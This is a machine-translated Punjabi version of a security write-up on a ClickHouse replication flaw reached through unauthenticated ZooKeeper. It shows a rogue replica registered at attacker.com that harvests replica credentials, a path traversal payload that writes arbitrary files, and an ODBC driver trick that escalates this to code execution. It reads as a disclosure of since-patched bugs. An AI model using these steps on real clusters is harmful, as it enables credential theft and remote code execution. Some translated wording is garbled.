ਤੁਹਾਨੂੰ ਚਿੜੀਆਘਰ ਦੇ ਪਿੰਜਰੇ ਬੰਦ ਰੱਖਣ ਦੀ ਲੋੜ ਕਿਉਂ ਹੈ?

ਇਹ ਲੇਖ ਕਲਿਕਹਾਊਸ ਰੀਪਲੀਕੇਸ਼ਨ ਪ੍ਰੋਟੋਕੋਲ ਵਿੱਚ ਇੱਕ ਬਹੁਤ ਹੀ ਖਾਸ ਕਮਜ਼ੋਰੀ ਦੀ ਕਹਾਣੀ ਦੱਸੇਗਾ, ਅਤੇ ਇਹ ਵੀ ਦਰਸਾਏਗਾ ਕਿ ਹਮਲੇ ਦੀ ਸਤਹ ਨੂੰ ਕਿਵੇਂ ਫੈਲਾਇਆ ਜਾ ਸਕਦਾ ਹੈ।

ਕਲਿਕਹਾਊਸ ਡੇਟਾ ਦੀ ਵੱਡੀ ਮਾਤਰਾ ਨੂੰ ਸਟੋਰ ਕਰਨ ਲਈ ਇੱਕ ਡੇਟਾਬੇਸ ਹੈ, ਅਕਸਰ ਇੱਕ ਤੋਂ ਵੱਧ ਪ੍ਰਤੀਕ੍ਰਿਤੀਆਂ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹੋਏ। ਕਲਿਕਹਾਊਸ ਵਿੱਚ ਕਲੱਸਟਰਿੰਗ ਅਤੇ ਪ੍ਰਤੀਕ੍ਰਿਤੀ ਸਿਖਰ 'ਤੇ ਬਣੇ ਹੋਏ ਹਨ Apache ZooKeeper (ZK) ਅਤੇ ਲਿਖਣ ਦੇ ਅਧਿਕਾਰਾਂ ਦੀ ਲੋੜ ਹੈ।

ਡਿਫੌਲਟ ZK ਇੰਸਟਾਲੇਸ਼ਨ ਲਈ ਪ੍ਰਮਾਣਿਕਤਾ ਦੀ ਲੋੜ ਨਹੀਂ ਹੁੰਦੀ ਹੈ, ਇਸਲਈ ਕਾਫਕਾ, ਹਡੂਪ, ਕਲਿਕਹਾਊਸ ਨੂੰ ਕੌਂਫਿਗਰ ਕਰਨ ਲਈ ਵਰਤੇ ਜਾਂਦੇ ਹਜ਼ਾਰਾਂ ZK ਸਰਵਰ ਜਨਤਕ ਤੌਰ 'ਤੇ ਉਪਲਬਧ ਹਨ।

ਆਪਣੇ ਹਮਲੇ ਦੀ ਸਤਹ ਨੂੰ ਘਟਾਉਣ ਲਈ, ਤੁਹਾਨੂੰ ZooKeeper ਨੂੰ ਸਥਾਪਤ ਕਰਨ ਵੇਲੇ ਹਮੇਸ਼ਾਂ ਪ੍ਰਮਾਣਿਕਤਾ ਅਤੇ ਪ੍ਰਮਾਣਿਕਤਾ ਨੂੰ ਕੌਂਫਿਗਰ ਕਰਨਾ ਚਾਹੀਦਾ ਹੈ

ਬੇਸ਼ੱਕ ਕੁਝ 0-ਦਿਨ ਅਧਾਰਤ ਜਾਵਾ ਡੀਸੀਰੀਅਲਾਈਜ਼ੇਸ਼ਨ ਹਨ, ਪਰ ਕਲਪਨਾ ਕਰੋ ਕਿ ਇੱਕ ਹਮਲਾਵਰ ਜ਼ੂਕੀਪਰ ਨੂੰ ਪੜ੍ਹ ਅਤੇ ਲਿਖ ਸਕਦਾ ਹੈ, ਕਲਿਕਹਾਊਸ ਪ੍ਰਤੀਕ੍ਰਿਤੀ ਲਈ ਵਰਤਿਆ ਜਾਂਦਾ ਹੈ।

ਜਦੋਂ ਕਲੱਸਟਰ ਮੋਡ ਵਿੱਚ ਸੰਰਚਿਤ ਕੀਤਾ ਜਾਂਦਾ ਹੈ, ਤਾਂ ਕਲਿਕਹਾਊਸ ਵੰਡੀਆਂ ਗਈਆਂ ਪੁੱਛਗਿੱਛਾਂ ਦਾ ਸਮਰਥਨ ਕਰਦਾ ਹੈ ਡੀਡੀਐਲ, ZK ਵਿੱਚੋਂ ਲੰਘਣਾ - ਉਹਨਾਂ ਲਈ ਸ਼ੀਟ ਵਿੱਚ ਨੋਡ ਬਣਾਏ ਗਏ ਹਨ /clickhouse/task_queue/ddl.

ਉਦਾਹਰਨ ਲਈ, ਤੁਸੀਂ ਇੱਕ ਨੋਡ ਬਣਾਉਂਦੇ ਹੋ /clickhouse/task_queue/ddl/query-0001 ਸਮੱਗਰੀ ਦੇ ਨਾਲ:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

ਅਤੇ ਉਸ ਤੋਂ ਬਾਅਦ, ਟੈਸਟ ਟੇਬਲ ਨੂੰ ਕਲੱਸਟਰ ਸਰਵਰ host1 ਅਤੇ host2 ਤੋਂ ਮਿਟਾ ਦਿੱਤਾ ਜਾਵੇਗਾ। DDL CREATE/ALTER/DROP ਪੁੱਛਗਿੱਛਾਂ ਨੂੰ ਚਲਾਉਣ ਦਾ ਵੀ ਸਮਰਥਨ ਕਰਦਾ ਹੈ।

ਡਰਾਉਣੀ ਆਵਾਜ਼? ਪਰ ਇੱਕ ਹਮਲਾਵਰ ਨੂੰ ਸਰਵਰ ਪਤੇ ਕਿੱਥੋਂ ਮਿਲ ਸਕਦੇ ਹਨ?

ਘਰ ਦੀ ਪ੍ਰਤੀਕ੍ਰਿਤੀ 'ਤੇ ਕਲਿੱਕ ਕਰੋ ਵਿਅਕਤੀਗਤ ਟੇਬਲ ਦੇ ਪੱਧਰ 'ਤੇ ਕੰਮ ਕਰਦਾ ਹੈ, ਤਾਂ ਜੋ ਜਦੋਂ ZK ਵਿੱਚ ਇੱਕ ਸਾਰਣੀ ਬਣਾਈ ਜਾਂਦੀ ਹੈ, ਤਾਂ ਇੱਕ ਸਰਵਰ ਨਿਰਧਾਰਤ ਕੀਤਾ ਜਾਂਦਾ ਹੈ ਜੋ ਪ੍ਰਤੀਕ੍ਰਿਤੀਆਂ ਦੇ ਨਾਲ ਮੈਟਾਡੇਟਾ ਦਾ ਆਦਾਨ-ਪ੍ਰਦਾਨ ਕਰਨ ਲਈ ਜ਼ਿੰਮੇਵਾਰ ਹੋਵੇਗਾ। ਉਦਾਹਰਨ ਲਈ, ਇੱਕ ਬੇਨਤੀ ਨੂੰ ਲਾਗੂ ਕਰਨ ਵੇਲੇ (ZK ਸੰਰਚਿਤ ਕੀਤਾ ਜਾਣਾ ਚਾਹੀਦਾ ਹੈ, chXX - ਪ੍ਰਤੀਕ੍ਰਿਤੀ ਦਾ ਨਾਮ, foobar - ਸਾਰਣੀ ਦਾ ਨਾਮ):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

ਨੋਡ ਬਣਾਏ ਜਾਣਗੇ ਕਾਲਮ и ਮੈਟਾਡੇਟਾ.

ਸਮੱਗਰੀ /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

ਕੀ ਇਸ ਕਲੱਸਟਰ ਤੋਂ ਡੇਟਾ ਨੂੰ ਮਿਲਾਉਣਾ ਸੰਭਵ ਹੈ? ਹਾਂ, ਜੇਕਰ ਪ੍ਰਤੀਕ੍ਰਿਤੀ ਪੋਰਟ (TCP/9009) ਸਰਵਰ 'ਤੇ chXX-address ਫਾਇਰਵਾਲ ਨੂੰ ਬੰਦ ਨਹੀਂ ਕੀਤਾ ਜਾਵੇਗਾ ਅਤੇ ਪ੍ਰਤੀਕ੍ਰਿਤੀ ਲਈ ਪ੍ਰਮਾਣਿਕਤਾ ਨੂੰ ਸੰਰਚਿਤ ਨਹੀਂ ਕੀਤਾ ਜਾਵੇਗਾ। ਪ੍ਰਮਾਣਿਕਤਾ ਨੂੰ ਬਾਈਪਾਸ ਕਿਵੇਂ ਕਰੀਏ?

ਇੱਕ ਹਮਲਾਵਰ ਸਿਰਫ਼ ਸਮੱਗਰੀ ਦੀ ਨਕਲ ਕਰਕੇ ZK ਵਿੱਚ ਇੱਕ ਨਵੀਂ ਪ੍ਰਤੀਕ੍ਰਿਤੀ ਬਣਾ ਸਕਦਾ ਹੈ /clickhouse/tables/01-01/foobar/replicas/chXX ਅਤੇ ਅਰਥ ਬਦਲ ਰਿਹਾ ਹੈ host.

ਸਮੱਗਰੀ /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

ਫਿਰ ਤੁਹਾਨੂੰ ਦੂਜੇ ਪ੍ਰਤੀਕ੍ਰਿਤੀਆਂ ਨੂੰ ਇਹ ਦੱਸਣ ਦੀ ਜ਼ਰੂਰਤ ਹੈ ਕਿ ਹਮਲਾਵਰ ਦੇ ਸਰਵਰ 'ਤੇ ਡੇਟਾ ਦਾ ਇੱਕ ਨਵਾਂ ਬਲਾਕ ਹੈ ਜੋ ਉਨ੍ਹਾਂ ਨੂੰ ਲੈਣ ਦੀ ਜ਼ਰੂਰਤ ਹੈ - ZK ਵਿੱਚ ਇੱਕ ਨੋਡ ਬਣਾਇਆ ਗਿਆ ਹੈ /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX ਮੋਨੋਟੋਨਿਕ ਤੌਰ 'ਤੇ ਵਧਣ ਵਾਲਾ ਕਾਊਂਟਰ, ਜੋ ਕਿ ਇਵੈਂਟ ਲੌਗ ਵਿੱਚ ਪਿਛਲੇ ਇੱਕ ਤੋਂ ਵੱਧ ਹੋਣਾ ਚਾਹੀਦਾ ਹੈ):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

ਜਿੱਥੇ source_replica - ਪਿਛਲੇ ਪੜਾਅ ਵਿੱਚ ਬਣਾਈ ਗਈ ਹਮਲਾਵਰ ਦੀ ਪ੍ਰਤੀਕ੍ਰਿਤੀ ਦਾ ਨਾਮ, ਬਲਾਕ_ਆਈਡੀ - ਡਾਟਾ ਬਲਾਕ ਪਛਾਣਕਰਤਾ, ਪ੍ਰਾਪਤ - "ਬਲਾਕ ਪ੍ਰਾਪਤ ਕਰੋ" ਕਮਾਂਡ (ਅਤੇ ਇੱਥੇ ਹੋਰ ਕਾਰਵਾਈਆਂ ਲਈ ਕਮਾਂਡਾਂ ਹਨ).

ਅੱਗੇ, ਹਰੇਕ ਪ੍ਰਤੀਕ੍ਰਿਤੀ ਲੌਗ ਵਿੱਚ ਇੱਕ ਨਵੀਂ ਇਵੈਂਟ ਪੜ੍ਹਦੀ ਹੈ ਅਤੇ ਡੇਟਾ ਦਾ ਇੱਕ ਬਲਾਕ ਪ੍ਰਾਪਤ ਕਰਨ ਲਈ ਹਮਲਾਵਰ ਦੁਆਰਾ ਨਿਯੰਤਰਿਤ ਸਰਵਰ ਤੇ ਜਾਂਦੀ ਹੈ (ਰਿਪਲੀਕੇਸ਼ਨ ਪ੍ਰੋਟੋਕੋਲ ਬਾਈਨਰੀ ਹੈ, HTTP ਦੇ ਸਿਖਰ 'ਤੇ ਚੱਲ ਰਿਹਾ ਹੈ)। ਸਰਵਰ attacker.com ਬੇਨਤੀਆਂ ਪ੍ਰਾਪਤ ਕਰਨਗੇ:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

ਜਿੱਥੇ XXX ਪ੍ਰਤੀਕ੍ਰਿਤੀ ਲਈ ਪ੍ਰਮਾਣੀਕਰਨ ਡੇਟਾ ਹੈ। ਕੁਝ ਮਾਮਲਿਆਂ ਵਿੱਚ, ਇਹ ਮੁੱਖ ਕਲਿਕਹਾਊਸ ਪ੍ਰੋਟੋਕੋਲ ਅਤੇ HTTP ਪ੍ਰੋਟੋਕੋਲ ਦੁਆਰਾ ਡੇਟਾਬੇਸ ਤੱਕ ਪਹੁੰਚ ਵਾਲਾ ਖਾਤਾ ਹੋ ਸਕਦਾ ਹੈ। ਜਿਵੇਂ ਕਿ ਤੁਸੀਂ ਦੇਖਿਆ ਹੈ, ਹਮਲੇ ਦੀ ਸਤ੍ਹਾ ਗੰਭੀਰ ਤੌਰ 'ਤੇ ਵੱਡੀ ਹੋ ਜਾਂਦੀ ਹੈ ਕਿਉਂਕਿ ਜ਼ੂਕੀਪਰ, ਪ੍ਰਤੀਕ੍ਰਿਤੀ ਲਈ ਵਰਤਿਆ ਜਾਂਦਾ ਹੈ, ਪ੍ਰਮਾਣਿਕਤਾ ਨੂੰ ਸੰਰਚਿਤ ਕੀਤੇ ਬਿਨਾਂ ਛੱਡ ਦਿੱਤਾ ਗਿਆ ਸੀ।

ਆਉ ਇੱਕ ਪ੍ਰਤੀਕ੍ਰਿਤੀ ਤੋਂ ਡੇਟਾ ਦੇ ਇੱਕ ਬਲਾਕ ਪ੍ਰਾਪਤ ਕਰਨ ਦੇ ਕਾਰਜ ਨੂੰ ਵੇਖੀਏ, ਇਹ ਪੂਰੇ ਭਰੋਸੇ ਨਾਲ ਲਿਖਿਆ ਗਿਆ ਹੈ ਕਿ ਸਾਰੀਆਂ ਪ੍ਰਤੀਕ੍ਰਿਤੀਆਂ ਸਹੀ ਨਿਯੰਤਰਣ ਵਿੱਚ ਹਨ ਅਤੇ ਉਹਨਾਂ ਵਿਚਕਾਰ ਵਿਸ਼ਵਾਸ ਹੈ।

ਪ੍ਰਤੀਕ੍ਰਿਤੀ ਪ੍ਰੋਸੈਸਿੰਗ ਕੋਡ

ਫੰਕਸ਼ਨ ਫਾਈਲਾਂ ਦੀ ਸੂਚੀ ਪੜ੍ਹਦਾ ਹੈ, ਫਿਰ ਉਹਨਾਂ ਦੇ ਨਾਮ, ਆਕਾਰ, ਸਮੱਗਰੀ, ਅਤੇ ਫਿਰ ਉਹਨਾਂ ਨੂੰ ਫਾਈਲ ਸਿਸਟਮ ਤੇ ਲਿਖਦਾ ਹੈ। ਇਹ ਵੱਖਰੇ ਤੌਰ 'ਤੇ ਵਰਣਨ ਕਰਨ ਯੋਗ ਹੈ ਕਿ ਫਾਈਲ ਸਿਸਟਮ ਵਿੱਚ ਡੇਟਾ ਕਿਵੇਂ ਸਟੋਰ ਕੀਤਾ ਜਾਂਦਾ ਹੈ.

ਵਿੱਚ ਕਈ ਉਪ-ਡਾਇਰੈਕਟਰੀਆਂ ਹਨ /var/lib/clickhouse (ਸੰਰਚਨਾ ਫਾਇਲ ਤੋਂ ਡਿਫਾਲਟ ਸਟੋਰੇਜ਼ ਡਾਇਰੈਕਟਰੀ):

ਝੰਡੇ - ਰਿਕਾਰਡਿੰਗ ਲਈ ਡਾਇਰੈਕਟਰੀ ਝੰਡੇ, ਡਾਟਾ ਖਰਾਬ ਹੋਣ ਤੋਂ ਬਾਅਦ ਰਿਕਵਰੀ ਵਿੱਚ ਵਰਤਿਆ ਜਾਂਦਾ ਹੈ;
tmp - ਅਸਥਾਈ ਫਾਈਲਾਂ ਨੂੰ ਸਟੋਰ ਕਰਨ ਲਈ ਡਾਇਰੈਕਟਰੀ;
user_files — ਬੇਨਤੀਆਂ ਵਿੱਚ ਫਾਈਲਾਂ ਦੇ ਨਾਲ ਓਪਰੇਸ਼ਨ ਇਸ ਡਾਇਰੈਕਟਰੀ ਤੱਕ ਸੀਮਿਤ ਹਨ (INTO OUTFILE ਅਤੇ ਹੋਰ);
ਮੈਟਾਡੇਟਾ - ਸਾਰਣੀ ਦੇ ਵਰਣਨ ਨਾਲ sql ਫਾਈਲਾਂ;
preprocessed_configs - ਤੋਂ ਪ੍ਰੋਸੈਸਡ ਡੈਰੀਵੇਟਿਵ ਕੌਂਫਿਗਰੇਸ਼ਨ ਫਾਈਲਾਂ /etc/clickhouse-server;
ਡਾਟਾ - ਡੇਟਾ ਦੇ ਨਾਲ ਅਸਲ ਡਾਇਰੈਕਟਰੀ, ਇਸ ਸਥਿਤੀ ਵਿੱਚ ਹਰੇਕ ਡੇਟਾਬੇਸ ਲਈ ਇੱਕ ਵੱਖਰੀ ਸਬ-ਡਾਇਰੈਕਟਰੀ ਇੱਥੇ ਬਣਾਈ ਗਈ ਹੈ (ਉਦਾਹਰਨ ਲਈ /var/lib/clickhouse/data/default).

ਹਰੇਕ ਸਾਰਣੀ ਲਈ, ਡੇਟਾਬੇਸ ਡਾਇਰੈਕਟਰੀ ਵਿੱਚ ਇੱਕ ਉਪ-ਡਾਇਰੈਕਟਰੀ ਬਣਾਈ ਜਾਂਦੀ ਹੈ। ਹਰੇਕ ਕਾਲਮ 'ਤੇ ਨਿਰਭਰ ਕਰਦਿਆਂ ਇੱਕ ਵੱਖਰੀ ਫਾਈਲ ਹੈ ਇੰਜਣ ਫਾਰਮੈਟ. ਉਦਾਹਰਨ ਲਈ ਇੱਕ ਟੇਬਲ ਲਈ foobarਇੱਕ ਹਮਲਾਵਰ ਦੁਆਰਾ ਬਣਾਇਆ ਗਿਆ, ਹੇਠ ਲਿਖੀਆਂ ਫਾਈਲਾਂ ਬਣਾਈਆਂ ਜਾਣਗੀਆਂ:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

ਰਿਪਲੀਕਾ ਡੇਟਾ ਦੇ ਇੱਕ ਬਲਾਕ ਦੀ ਪ੍ਰਕਿਰਿਆ ਕਰਦੇ ਸਮੇਂ ਇੱਕੋ ਨਾਮ ਵਾਲੀਆਂ ਫਾਈਲਾਂ ਪ੍ਰਾਪਤ ਕਰਨ ਦੀ ਉਮੀਦ ਕਰਦੀ ਹੈ ਅਤੇ ਉਹਨਾਂ ਨੂੰ ਕਿਸੇ ਵੀ ਤਰੀਕੇ ਨਾਲ ਪ੍ਰਮਾਣਿਤ ਨਹੀਂ ਕਰਦੀ ਹੈ।

ਧਿਆਨ ਦੇਣ ਵਾਲੇ ਪਾਠਕ ਨੇ ਸ਼ਾਇਦ ਪਹਿਲਾਂ ਹੀ ਇੱਕ ਫੰਕਸ਼ਨ ਵਿੱਚ ਫਾਈਲ_ਨਾਮ ਦੇ ਅਸੁਰੱਖਿਅਤ ਜੋੜ ਬਾਰੇ ਸੁਣਿਆ ਹੋਵੇਗਾ WriteBufferFromFile. ਹਾਂ, ਇਹ ਹਮਲਾਵਰ ਨੂੰ ਉਪਭੋਗਤਾ ਅਧਿਕਾਰਾਂ ਦੇ ਨਾਲ FS 'ਤੇ ਕਿਸੇ ਵੀ ਫਾਈਲ 'ਤੇ ਮਨਮਾਨੀ ਸਮੱਗਰੀ ਲਿਖਣ ਦੀ ਆਗਿਆ ਦਿੰਦਾ ਹੈ clickhouse. ਅਜਿਹਾ ਕਰਨ ਲਈ, ਹਮਲਾਵਰ ਦੁਆਰਾ ਨਿਯੰਤਰਿਤ ਪ੍ਰਤੀਕ੍ਰਿਤੀ ਨੂੰ ਬੇਨਤੀ ਦਾ ਨਿਮਨਲਿਖਤ ਜਵਾਬ ਵਾਪਸ ਕਰਨਾ ਚਾਹੀਦਾ ਹੈ (ਸਮਝ ਦੀ ਸੌਖ ਲਈ ਲਾਈਨ ਬ੍ਰੇਕ ਸ਼ਾਮਲ ਕੀਤੇ ਗਏ ਹਨ):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

ਅਤੇ ਜੋੜਨ ਤੋਂ ਬਾਅਦ ../../../../../../../../../tmp/pwned ਫਾਈਲ ਲਿਖੀ ਜਾਵੇਗੀ /tmp/pwned ਸਮੱਗਰੀ ਦੇ ਨਾਲ ਹੈਲੋਫਰੋਮਜ਼ੂਕੀਪਰ.

ਫਾਈਲ ਲਿਖਣ ਦੀ ਸਮਰੱਥਾ ਨੂੰ ਰਿਮੋਟ ਕੋਡ ਐਗਜ਼ੀਕਿਊਸ਼ਨ (RCE) ਵਿੱਚ ਬਦਲਣ ਲਈ ਕਈ ਵਿਕਲਪ ਹਨ।

RCE ਵਿੱਚ ਬਾਹਰੀ ਸ਼ਬਦਕੋਸ਼

ਪੁਰਾਣੇ ਸੰਸਕਰਣਾਂ ਵਿੱਚ, ਕਲਿਕਹਾਊਸ ਸੈਟਿੰਗਾਂ ਵਾਲੀ ਡਾਇਰੈਕਟਰੀ ਉਪਭੋਗਤਾ ਅਧਿਕਾਰਾਂ ਨਾਲ ਸਟੋਰ ਕੀਤੀ ਗਈ ਸੀ ਕਲਿੱਕਹਾਊਸ ਡਿਫਾਲਟ। ਸੈਟਿੰਗਾਂ ਫਾਈਲਾਂ XML ਫਾਈਲਾਂ ਹੁੰਦੀਆਂ ਹਨ ਜੋ ਸੇਵਾ ਸ਼ੁਰੂਆਤੀ ਸਮੇਂ ਪੜ੍ਹਦੀ ਹੈ ਅਤੇ ਫਿਰ ਕੈਚ ਕਰਦੀ ਹੈ /var/lib/clickhouse/preprocessed_configs. ਜਦੋਂ ਤਬਦੀਲੀਆਂ ਆਉਂਦੀਆਂ ਹਨ, ਤਾਂ ਉਹਨਾਂ ਨੂੰ ਦੁਬਾਰਾ ਪੜ੍ਹਿਆ ਜਾਂਦਾ ਹੈ। ਜੇਕਰ ਤੁਹਾਡੇ ਕੋਲ ਪਹੁੰਚ ਹੈ /etc/clickhouse-server ਹਮਲਾਵਰ ਆਪਣਾ ਬਣਾ ਸਕਦਾ ਹੈ ਬਾਹਰੀ ਸ਼ਬਦਕੋਸ਼ ਚੱਲਣਯੋਗ ਕਿਸਮ ਅਤੇ ਫਿਰ ਆਰਬਿਟਰੇਰੀ ਕੋਡ ਨੂੰ ਚਲਾਓ। ਕਲਿਕਹਾਊਸ ਦੇ ਮੌਜੂਦਾ ਸੰਸਕਰਣ ਮੂਲ ਰੂਪ ਵਿੱਚ ਅਧਿਕਾਰ ਪ੍ਰਦਾਨ ਨਹੀਂ ਕਰਦੇ ਹਨ, ਪਰ ਜੇਕਰ ਸਰਵਰ ਨੂੰ ਹੌਲੀ-ਹੌਲੀ ਅੱਪਡੇਟ ਕੀਤਾ ਗਿਆ ਸੀ, ਤਾਂ ਅਜਿਹੇ ਅਧਿਕਾਰ ਬਣੇ ਰਹਿ ਸਕਦੇ ਹਨ। ਜੇਕਰ ਤੁਸੀਂ ਇੱਕ ਕਲਿਕਹਾਊਸ ਕਲੱਸਟਰ ਦਾ ਸਮਰਥਨ ਕਰ ਰਹੇ ਹੋ, ਤਾਂ ਸੈਟਿੰਗਜ਼ ਡਾਇਰੈਕਟਰੀ ਦੇ ਅਧਿਕਾਰਾਂ ਦੀ ਜਾਂਚ ਕਰੋ, ਇਹ ਉਪਭੋਗਤਾ ਨਾਲ ਸਬੰਧਤ ਹੋਣਾ ਚਾਹੀਦਾ ਹੈ root.

ODBC ਤੋਂ RCE ਤੱਕ

ਇੱਕ ਪੈਕੇਜ ਇੰਸਟਾਲ ਕਰਨ ਵੇਲੇ, ਇੱਕ ਉਪਭੋਗਤਾ ਬਣਾਇਆ ਜਾਂਦਾ ਹੈ clickhouse, ਪਰ ਇਸਦੀ ਹੋਮ ਡਾਇਰੈਕਟਰੀ ਨਹੀਂ ਬਣਾਈ ਗਈ ਹੈ /nonexistent. ਹਾਲਾਂਕਿ, ਬਾਹਰੀ ਸ਼ਬਦਕੋਸ਼ਾਂ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਸਮੇਂ, ਜਾਂ ਹੋਰ ਕਾਰਨਾਂ ਕਰਕੇ, ਪ੍ਰਬੰਧਕ ਇੱਕ ਡਾਇਰੈਕਟਰੀ ਬਣਾਉਂਦੇ ਹਨ /nonexistent ਅਤੇ ਉਪਭੋਗਤਾ ਨੂੰ ਦਿਓ clickhouse ਇਸ ਨੂੰ ਲਿਖਣ ਲਈ ਪਹੁੰਚ (SSZB! ਲਗਭਗ ਅਨੁਵਾਦਕ).

ਕਲਿਕਹਾਊਸ ਸਪੋਰਟ ਕਰਦਾ ਹੈ ਓਡੀਬੀਸੀ ਅਤੇ ਹੋਰ ਡਾਟਾਬੇਸ ਨਾਲ ਜੁੜ ਸਕਦਾ ਹੈ। ODBC ਵਿੱਚ, ਤੁਸੀਂ ਡੇਟਾਬੇਸ ਡ੍ਰਾਈਵਰ ਲਾਇਬ੍ਰੇਰੀ (.so) ਦਾ ਮਾਰਗ ਨਿਰਧਾਰਿਤ ਕਰ ਸਕਦੇ ਹੋ। ਕਲਿਕਹਾਊਸ ਦੇ ਪੁਰਾਣੇ ਸੰਸਕਰਣਾਂ ਨੇ ਤੁਹਾਨੂੰ ਇਹ ਸਿੱਧੇ ਤੌਰ 'ਤੇ ਬੇਨਤੀ ਹੈਂਡਲਰ ਵਿੱਚ ਕਰਨ ਦੀ ਇਜਾਜ਼ਤ ਦਿੱਤੀ ਸੀ, ਪਰ ਹੁਣ ਕਨੈਕਸ਼ਨ ਸਤਰ ਦੀ ਇੱਕ ਹੋਰ ਸਖਤ ਜਾਂਚ ਨੂੰ ਜੋੜਿਆ ਗਿਆ ਹੈ odbc-bridge, ਇਸਲਈ ਬੇਨਤੀ ਤੋਂ ਡਰਾਈਵਰ ਮਾਰਗ ਨਿਰਧਾਰਤ ਕਰਨਾ ਹੁਣ ਸੰਭਵ ਨਹੀਂ ਹੈ। ਪਰ ਕੀ ਹਮਲਾਵਰ ਉੱਪਰ ਦੱਸੇ ਗਏ ਕਮਜ਼ੋਰੀ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਹੋਮ ਡਾਇਰੈਕਟਰੀ ਨੂੰ ਲਿਖ ਸਕਦਾ ਹੈ?

ਚਲੋ ਇੱਕ ਫਾਈਲ ਬਣਾਈਏ ~/.odbc.ini ਇਸ ਤਰ੍ਹਾਂ ਦੀ ਸਮੱਗਰੀ ਦੇ ਨਾਲ:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

ਫਿਰ ਸ਼ੁਰੂਆਤ 'ਤੇ SELECT * FROM odbc('DSN=lalala', 'test', 'test'); ਲਾਇਬ੍ਰੇਰੀ ਨੂੰ ਲੋਡ ਕੀਤਾ ਜਾਵੇਗਾ test.so ਅਤੇ RCE ਪ੍ਰਾਪਤ ਕੀਤਾ (ਧੰਨਵਾਦ bugloc ਟਿਪ ਲਈ).

ਇਹ ਅਤੇ ਹੋਰ ਕਮਜ਼ੋਰੀਆਂ ਨੂੰ ClickHouse ਸੰਸਕਰਣ 19.14.3 ਵਿੱਚ ਹੱਲ ਕੀਤਾ ਗਿਆ ਹੈ। ਆਪਣੇ ਕਲਿਕਹਾਊਸ ਅਤੇ ਚਿੜੀਆਘਰਾਂ ਦਾ ਧਿਆਨ ਰੱਖੋ!

ਸਰੋਤ: www.habr.com